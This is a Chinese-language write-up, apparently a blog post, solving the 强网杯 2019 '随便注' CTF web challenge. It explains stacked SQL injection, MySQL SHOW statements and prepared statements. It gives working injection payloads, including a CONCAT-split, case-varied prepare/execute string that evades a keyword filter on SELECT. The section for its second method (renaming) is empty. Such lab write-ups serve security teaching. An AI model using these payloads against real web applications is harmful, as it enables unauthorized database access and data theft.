BMZCTF 强网杯 2019 随便注 原理+题解
目录
知识点
堆叠注入
show语句
mysql预编译
过程
重点
预编译
重命名
总结
知识点
堆叠注入
堆叠查询注入:堆叠查询可以执行多条SQL语句,语句之间以分号(;)隔开。而堆叠查询注入攻击就是利用此特点,在第二条语句中构造自己要执行的语句。
比如: (这样一下就会执行2条命令,与union注入有相似的地方,union注入可以在一条语句中执行多个操作,而堆叠注入可以在一次输入中执行多条语句)
?id=1 ;show database;
show语句
1.show databases ; // 显示mysql中所有数据库的名称
2.show tables [from database_name]; // 显示当前数据库中所有表的名称
3.show columns from table_name ; // 显示表中列名称 ,和desc tablename 相同
想看更多的话可以看这篇文章。
MySQL的show语句大全 - 王恒志 - 博客园
mysql预编译
其实就像我们编写的程序需要预编译才能变成能被机器执行的语言一样,我们输入的语句都要预编译才能正常执行。
MySQL执行预编译分为如三步:
执行预编译语句
例如:
prepare myfun from 'select * from t_book where bid=?'
设置变量,例如:set @str='b1'
执行语句,例如:execute myfun using @str
如果需要再次执行myfun,那么就不再需要第一步,即不需要再编译语句了:
设置变量,例如:set @str='b2'
执行语句,例如:execute myfun using @str
详情的话可以看这位博主
MySQL的预编译功能 - 悦文 - 博客园
而在这道题目中,我们需要用的是,提前将我们要执行的语句预编译,这样就可以绕过select的过滤。
过程
这里需要说的是,题目在原题的基础上对命名进行了修改,表名换了一下,对正常解法还是不影响。
注入为字符型注入,需要用#闭合单引号
id=1' or 1=1 # 出现三个查询结果存在注入
输入 order by 语句判断数据库字段为2
随后输入 order by 语句 在输入 1' order by 2# 报错 ,得知数据表字段为2
然后使用 联合注入语句,发现存在过滤。
重点
采用堆叠注入,先爆数据库
-1'; show databases; #
爆表 (其他平台的第一个表可能是一串数字 ,不过没关系,照着这个方法做也行)
-1'; show tables; #
爆字段名(这里查表的话,需要使用反引号,应该是show语句规定的)
0'; show columns from `flagg `; #
下面问题来了,现在知道基本知道flag在flag字段中中,而select 又被过滤了,那要怎么才能进行查询呢?(其实到了这一步有很多方法,下面就介绍一下预编译绕过和重命名的方法)
预编译
我们从之前的select 语句知道,服务器是会过滤select关键字的
当然这里也尝试过了%00截断,内联注释,大小写等方式绕过,结果还是被拦截所以接下来用预编译方式
构造语句
-1';set @sql = CONCAT('se','lect * from `flagg`;');prepare xxx from @sql;EXECUTE xxx;#
发现仍然能被拦截
选择使用大小写绕过strstr()函数
-1';Set @sql = CONCAT('se','lect * from `flagg`;');Prepare xxx from @sql;EXECUTE xxx;#得到flag
重命名
总结
其实还不止这两种解法,实际上就是因为服务器对输入的数据过滤不严导致的,所以能让我们找到可以绕过的方法。另外要说的是 堆叠注入并不是使用所有使用mysql的架构的,有些架构并不支持。
参考链接
MySQL的预编译功能 - 悦文 - 博客园
MySQL的show语句大全 - 王恒志 - 博客园
[强网杯 2019]随便注_夜幕下的灯火阑珊的博客-CSDN博客
下面有另外的一种解法
BUUCTF[强网杯 2019]随便注 的三种解法_天问_Herbert555的博客-CSDN博客_ctf随便注
BMZCTF 强网杯 2019 随便注 原理+题解相关推荐
- BUUCTF Web [强网杯 2019]随便注
「作者主页」:士别三日wyx 此文章已录入专栏<网络攻防>,持续更新热门靶场的通关教程 「未知攻,焉知收」,在一个个孤独的夜晚,你完成了几百个攻防实验,回过头来才发现,已经击败了百分之 ...
- [强网杯 2019]随便注 —— 堆叠注入
[强网杯 2019]随便注 前言 个人观点,若有误请指教 解题思路及步骤 直接上'引号,结果直接报错了,证明存在sql注入漏洞. 判断当前表 ...
- [强网杯 2019]随便注 1
题目[强网杯 2019]随便注 1 题目来源:https://buuoj.cn/challenges#[%E5%BC%BA%E7%BD%91%E6%9D%AF%202019]%E9%9A%8F%E4% ...
- buuctf [强网杯 2019]随便注 1
buuctf web [强网杯 2019]随便注 1 -刷题个人日记 小白一个,写给自己看. 打开后是这样. 从题目和内容来看就是一道sql注入题. 输入 1' or 1=1;# 这个#用来注释掉后面 ...
- BUUCTF [强网杯 2019]随便注
题目 打开环境发现是经典的提交界面 老规则还是查询注入点,1 or 1 =1#,1' order by 1#都未出错,但是1' union select 1,2#是出现了错误,发现一些查询语句被过滤了 ...
- 强网杯 2019]随便注 【SQL注入】四种解法
题目简介 题目名称:[强网杯 2019]随便注 1 题目平台:BUUCTF 题目类型:Web 考察知识点: SQL注入 解题步骤 方法一: 首先启动并访问靶机,有一个输入框,随便输入1' or 1 = ...
- (二)强网杯2019[随便注]
堆叠注入学习(堆叠查询,Stacked Queries) 堆叠注入为攻击者提供了很多控制权,与仅限于SELECT语句的UNION联合查询攻击不同,堆叠注入可以用于执行任何SQL语句. 堆叠注入原理 在 ...
- 【BUUCTF】强网杯 2019随便注1 write up
输入万能密码1' or 1=1# ,判断存在sql注入, SQL注入的万能密码实际上是利用了网址后台的漏洞,打开下面的网址不用密码和账号也可以登录后台. 万能密码原理: 万能密码能够绕过sql检测,在 ...
- [强网杯 2019]随便注 1【SQL注入】解析过程
1.首先启动并访问靶机,有一个输入框,随便输入1' or 1 = 1,测试一下是否存在sql注入. 2.提交后提示error 1064 : You have an error in your SQL ...
最新文章
- spring 数组中随机取几个_别给孩子取这三种名字!截止年末,名字中的这几个字已经烂大街了...
- 自动化运维—saltstack
- ModuleNotFoundError: No module named 'rospkg'
- C#字符串二进制互换
- Oracle字符集问题总结
- wxWidgets:wxRichMessageDialog类用法
- 单元测试源码分析之一创建mock对象
- webstrom 中 plugins error 设置里 Languages Frameworks里面没有JavaScript?
- QGIS中坐标偏移处理
- 杰富瑞主管:若BTC回落,将增加养老基金投资组合中的加密货币成分
- Nginx学习笔记(三) Nginx基本数据结构
- PHP学习笔记二(面向对象和表单)
- 计算机的flash player在哪里,flash player电脑设置管理器在哪?怎么打开
- 用线性代数解释图论中的一些结论
- android toast显示在中间,android Toast 弹出在屏幕中间位置以及自定义Toast
- 解码M3U8在线流视频AES-128解密TS合并到MP4
- python基础学习(一)
- 近观趣店,“审视”罗敏
- IPFS创始人Juan Benet讲解FileCoin各大应用
- 【vue2】子组件向父组件传参方法汇总